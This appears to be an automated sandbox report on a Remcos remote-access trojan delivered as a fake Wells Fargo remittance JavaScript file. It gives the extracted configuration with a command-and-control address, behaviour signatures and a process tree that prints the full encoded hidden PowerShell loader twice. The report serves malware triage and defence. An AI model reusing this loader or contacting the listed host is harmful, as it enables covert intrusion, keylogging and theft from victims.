Analysis
- max time kernel
149s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
25/08/2026, 16:18
General
- Target Wells Fargo ACH Remittance Copy.js
- Size 576KB
- Sample260825-trz2tack2z
- SHA256 cb4c968acce92454c9170c03efaadf8ab522bdf829ab4e40d324ac4eebb9ba64
Malware Config
Extracted
-
remcos
-
7.3.0 Pro
-
RemoteHost
-
64.44.156.170:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-FY2JZO
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Wells Fargo ACH Remittance Copy.js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" --headless "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -EncodedCommand JABoAHcAcwB6AGYAUQA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA0ADEAMQAnACwAJwBQAHIAbwBjAGUAcwBzACcAKQA7ACQAeABEAE4AWQBpAFgAPQBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAHIAaQBhAGIAbABlACgAJwBLAHYANAAwADkAMgAnACwAJwBQAHIAbwBjAGUAcwBzACcAKQA7ACQAbwBEAFcAbwBHAGcAPQBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJABoAHcAcwB6AGYAUQApACsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAeABEAE4AWQBpAFgAKQA7AFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAaAB3AHMAegBmAFEALAAkAHgARABOAFkAaQBYACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgADAAOwAkAFcAdABvAFAAWABCAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG8ARABXAG8ARwBnACkAOwAkAFMAQQBwAGkAWQBtAD0AJwBqAHMAbQBVAG4AdQAnADsAJABuAHUAbABsAD0AJABTAEEAcABpAFkAbQAuAEwAZQBuAGcAdABoADsAJABJAHAAbABtAFoAQgA9ACcAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQAnACsAJwBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAE0AJwArACcAYQBuAGEAZwBlAGQAJwA7ACQAegBMAHMAUwBMAEoAPQBbAHQAeQBwAGUAXQAoACcAQQBjAHQAaQB2AGEAdAAnACsAJwBvAHIAJwApADsAJAB6AEwAcwBTAEwASgA9ACQAegBMAHMAUwBMAEoAOgA6ACgAJwBDAHIAZQAnACsAJwBhAHQAZQBJAG4AcwB0AGEAJwArACcAbgBjAGUAJwApACgAWwB0AHkAcABlAF0AJABJAHAAbABtAFoAQgApADsAJABjAFMAdwBwAFEAdwA9ADIANgAyADMAMwA7ACQAegBMAHMAUwBMAEoALgBNAG8AZABlAD0AMQA7ACQAUQByAGMASwBhAFkAPQAnAE0AQgBuAHcAUABpACcAOwAkAG4AdQBsAGwAPQAkAFEAcgBjAEsAYQBZAC4ATABlAG4AZwB0AGgAOwAkAHoATABzAFMATABKAC4AUABhAGQAZABpAG4AZwA9ADIAOwAkAGEAZQBaAHIAQgBnAD0ANwA0ADcAMQA7ACQAegBMAHMAUwBMAEoALgBLAGUAeQA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEUARgAsADAAeAAxAEQALAAwAHgAQQA4ACwAMAB4ADAARAAsADAAeABDADYALAAwAHgAMwAzACwAMAB4ADYAQwAsADAAeAAxADcALAAwAHgAMAA5ACwAMAB4ADMANwAsADAAeABBAEQALAAwAHgAMQBFACwAMAB4ADEARgAsADAAeABFAEMALAAwAHgAMQBGACwAMAB4AEUAMAApADsAJAB6AEwAcwBTAEwASgAuAEkAVgA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADgARAAsADAAeAA3ADEALAAwAHgAMABBACwAMAB4ADEANgAsADAAeABBAEUALAAwAHgARgA0ACwAMAB4AEYARAAsADAAeABDADIALAAwAHgARgA2ACwAMAB4ADcAQwAsADAAeABCADEALAAwAHgAMAAyACwAMAB4ADcAOAAsADAAeABDAEYALAAwAHgANQAzACwAMAB4AEYANgApADsAJABhAG0AZQBxAEEAegA9ACcAQwByAGUAYQB0AGUARAAnACsAJwBlAGMAJwArACcAcgB5AHAAJwArACcAdABvAHIAJwA7ACQAVABmAFYASQBlAHYAPQAkAHoATABzAFMATABKAC4AJABhAG0AZQBxAEEAegAoACkAOwAkAE0ASABpAG4AcwB2AD0AJwBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAJwArACcAQgBsAG8AYwBrACcAOwAkAFQASwBUAFIAbABnAD0AJABUAGYAVgBJAGUAdgAuACQATQBIAGkAbgBzAHYAKAAkAFcAdABvAFAAWABCACwAMAAsACQAVwB0AG8AUABYAEIALgBMAGUAbgBnAHQAaAApADsAJABBAHoAbAB2AGsAVgA9ACcAUwB5AHMAdAAnACsAJwBlAG0ALgAnACsAJwBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAnADsAJAB6AEQAQgBjAEoAQgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAEEAegBsAHYAawBWACgALAAkAFQASwBUAFIAbABnACkAOwAkAGUAdABmAHYASgBKAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAQQB6AGwAdgBrAFYAOwAkAGgARgBWAEMAcQBJAD0AMgA1ADEAOAA7AGkAZgAoACQAaABGAFYAQwBxAEkAIAAtAGwAdAAgADAAKQB7ACQAVwBUAHMATQBnAHMAPQAxADAAfQA7ACQATABBAFAARwBuAEYAPQAnAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AJwArACcAcAByAGUAcwBzAGkAbwBuACcAKwAnAC4ARwBaAGkAcABTAHQAcgBlAGEAbQAnADsAJABMAEwAaQB1AHoAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAEwAQQBQAEcAbgBGACgAJAB6AEQAQgBjAEoAQgAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEgAcQB2AFkATwBWAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANAAwADkANgA7AHcAaABpAGwAZQAoACgAJABPAGQASQBGAFYAbQA9ACQATABMAGkAdQB6AHkALgBSAGUAYQBkACgAJABIAHEAdgBZAE8AVgAsADAALAAkAEgAcQB2AFkATwBWAC4ATABlAG4AZwB0AGgAKQApAC0AZwB0ACAAMAApAHsAJABlAHQAZgB2AEoASgAuAFcAcgBpAHQAZQAoACQASABxAHYAWQBPAFYALAAwACwAJABPAGQASQBGAFYAbQApAH0AOwAkAFQASwBUAFIAbABnAD0AJABlAHQAZgB2AEoASgAuAFQAbwBBAHIAcgBhAHkAKAApADsAJABvAHYAVABtAFUATwA9AFsAdAB5AHAAZQBdACgAJwBTAHkAcwB0AGUAJwArACcAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBACcAKwAnAHMAcwBlAG0AYgBsAHkAJwApADsAJABSAGUAYgBKAGgAWgA9ACQAbwB2AFQAbQBVAE8AOgA6ACgAJwBMAG8AJwArACcAYQBkACcAKQAoACQAVABLAFQAUgBsAGcAKQA7ACQAcQBZAHIASABrAEkAPQAnAEUAbgB0AHIAJwArACcAeQBQAG8AaQBuAHQAJwA7ACQAVAB5AHkAVABOAHUAPQAkAFIAZQBiAEoAaABaAC4AJABxAFkAcgBIAGsASQA7ACQAVAB5AHkAVABOAHUALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACgALABbAHMAdAByAGkAbgBnAFsAXQBdAEAAKAApACkAKQA=2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -EncodedCommand JABoAHcAcwB6AGYAUQA9AFsARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEcAZQB0AEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAKAAnAEsAdgA0ADEAMQAnACwAJwBQAHIAbwBjAGUAcwBzACcAKQA7ACQAeABEAE4AWQBpAFgAPQBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAHIAaQBhAGIAbABlACgAJwBLAHYANAAwADkAMgAnACwAJwBQAHIAbwBjAGUAcwBzACcAKQA7ACQAbwBEAFcAbwBHAGcAPQBbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJABoAHcAcwB6AGYAUQApACsAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACQAeABEAE4AWQBpAFgAKQA7AFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAaAB3AHMAegBmAFEALAAkAHgARABOAFkAaQBYACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgADAAOwAkAFcAdABvAFAAWABCAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG8ARABXAG8ARwBnACkAOwAkAFMAQQBwAGkAWQBtAD0AJwBqAHMAbQBVAG4AdQAnADsAJABuAHUAbABsAD0AJABTAEEAcABpAFkAbQAuAEwAZQBuAGcAdABoADsAJABJAHAAbABtAFoAQgA9ACcAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQAnACsAJwBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAE0AJwArACcAYQBuAGEAZwBlAGQAJwA7ACQAegBMAHMAUwBMAEoAPQBbAHQAeQBwAGUAXQAoACcAQQBjAHQAaQB2AGEAdAAnACsAJwBvAHIAJwApADsAJAB6AEwAcwBTAEwASgA9ACQAegBMAHMAUwBMAEoAOgA6ACgAJwBDAHIAZQAnACsAJwBhAHQAZQBJAG4AcwB0AGEAJwArACcAbgBjAGUAJwApACgAWwB0AHkAcABlAF0AJABJAHAAbABtAFoAQgApADsAJABjAFMAdwBwAFEAdwA9ADIANgAyADMAMwA7ACQAegBMAHMAUwBMAEoALgBNAG8AZABlAD0AMQA7ACQAUQByAGMASwBhAFkAPQAnAE0AQgBuAHcAUABpACcAOwAkAG4AdQBsAGwAPQAkAFEAcgBjAEsAYQBZAC4ATABlAG4AZwB0AGgAOwAkAHoATABzAFMATABKAC4AUABhAGQAZABpAG4AZwA9ADIAOwAkAGEAZQBaAHIAQgBnAD0ANwA0ADcAMQA7ACQAegBMAHMAUwBMAEoALgBLAGUAeQA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEUARgAsADAAeAAxAEQALAAwAHgAQQA4ACwAMAB4ADAARAAsADAAeABDADYALAAwAHgAMwAzACwAMAB4ADYAQwAsADAAeAAxADcALAAwAHgAMAA5ACwAMAB4ADMANwAsADAAeABBAEQALAAwAHgAMQBFACwAMAB4ADEARgAsADAAeABFAEMALAAwAHgAMQBGACwAMAB4AEUAMAApADsAJAB6AEwAcwBTAEwASgAuAEkAVgA9AFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADgARAAsADAAeAA3ADEALAAwAHgAMABBACwAMAB4ADEANgAsADAAeABBAEUALAAwAHgARgA0ACwAMAB4AEYARAAsADAAeABDADIALAAwAHgARgA2ACwAMAB4ADcAQwAsADAAeABCADEALAAwAHgAMAAyACwAMAB4ADcAOAAsADAAeABDAEYALAAwAHgANQAzACwAMAB4AEYANgApADsAJABhAG0AZQBxAEEAegA9ACcAQwByAGUAYQB0AGUARAAnACsAJwBlAGMAJwArACcAcgB5AHAAJwArACcAdABvAHIAJwA7ACQAVABmAFYASQBlAHYAPQAkAHoATABzAFMATABKAC4AJABhAG0AZQBxAEEAegAoACkAOwAkAE0ASABpAG4AcwB2AD0AJwBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAJwArACcAQgBsAG8AYwBrACcAOwAkAFQASwBUAFIAbABnAD0AJABUAGYAVgBJAGUAdgAuACQATQBIAGkAbgBzAHYAKAAkAFcAdABvAFAAWABCACwAMAAsACQAVwB0AG8AUABYAEIALgBMAGUAbgBnAHQAaAApADsAJABBAHoAbAB2AGsAVgA9ACcAUwB5AHMAdAAnACsAJwBlAG0ALgAnACsAJwBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAnADsAJAB6AEQAQgBjAEoAQgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAEEAegBsAHYAawBWACgALAAkAFQASwBUAFIAbABnACkAOwAkAGUAdABmAHYASgBKAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgACQAQQB6AGwAdgBrAFYAOwAkAGgARgBWAEMAcQBJAD0AMgA1ADEAOAA7AGkAZgAoACQAaABGAFYAQwBxAEkAIAAtAGwAdAAgADAAKQB7ACQAVwBUAHMATQBnAHMAPQAxADAAfQA7ACQATABBAFAARwBuAEYAPQAnAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AJwArACcAcAByAGUAcwBzAGkAbwBuACcAKwAnAC4ARwBaAGkAcABTAHQAcgBlAGEAbQAnADsAJABMAEwAaQB1AHoAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAkAEwAQQBQAEcAbgBGACgAJAB6AEQAQgBjAEoAQgAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAEgAcQB2AFkATwBWAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANAAwADkANgA7AHcAaABpAGwAZQAoACgAJABPAGQASQBGAFYAbQA9ACQATABMAGkAdQB6AHkALgBSAGUAYQBkACgAJABIAHEAdgBZAE8AVgAsADAALAAkAEgAcQB2AFkATwBWAC4ATABlAG4AZwB0AGgAKQApAC0AZwB0ACAAMAApAHsAJABlAHQAZgB2AEoASgAuAFcAcgBpAHQAZQAoACQASABxAHYAWQBPAFYALAAwACwAJABPAGQASQBGAFYAbQApAH0AOwAkAFQASwBUAFIAbABnAD0AJABlAHQAZgB2AEoASgAuAFQAbwBBAHIAcgBhAHkAKAApADsAJABvAHYAVABtAFUATwA9AFsAdAB5AHAAZQBdACgAJwBTAHkAcwB0AGUAJwArACcAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBACcAKwAnAHMAcwBlAG0AYgBsAHkAJwApADsAJABSAGUAYgBKAGgAWgA9ACQAbwB2AFQAbQBVAE8AOgA6ACgAJwBMAG8AJwArACcAYQBkACcAKQAoACQAVABLAFQAUgBsAGcAKQA7ACQAcQBZAHIASABrAEkAPQAnAEUAbgB0AHIAJwArACcAeQBQAG8AaQBuAHQAJwA7ACQAVAB5AHkAVABOAHUAPQAkAFIAZQBiAEoAaABaAC4AJABxAFkAcgBIAGsASQA7ACQAVAB5AHkAVABOAHUALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACgALABbAHMAdAByAGkAbgBnAFsAXQBdAEAAKAApACkAKQA=3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
-
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
logs.dat
1cv7mt8vctkfa
1cv7mt8vctkfb
memory/3468-28-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-23-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-9-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-10-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-11-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-12-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-13-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-7-0x00000193F5960000-0x00000193F5982000-memory.dmp
memory/3468-6-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-30-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-17-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-18-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-19-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-20-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-21-0x00000193F6010000-0x00000193F6062000-memory.dmp
memory/3468-22-0x00000193F5940000-0x00000193F5952000-memory.dmp
memory/3468-27-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-2-0x00007FF964A4F000-0x00007FF964A50000-memory.dmp
memory/3468-8-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-25-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-14-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-29-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-31-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-35-0x0000000180000000-0x000000018012C000-memory.dmp
memory/3468-36-0x0000000180000000-0x000000018012C000-memory.dmp
memory/3468-33-0x0000000180000000-0x000000018012C000-memory.dmp
memory/3468-37-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-39-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-40-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-3-0x00007FF9648C0000-0x00007FF965264000-memory.dmp
memory/3468-46-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-47-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-54-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-55-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-63-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-62-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-70-0x00000193F6730000-0x00000193F67DF000-memory.dmp
memory/3468-71-0x00000193F6730000-0x00000193F67DF000-memory.dmp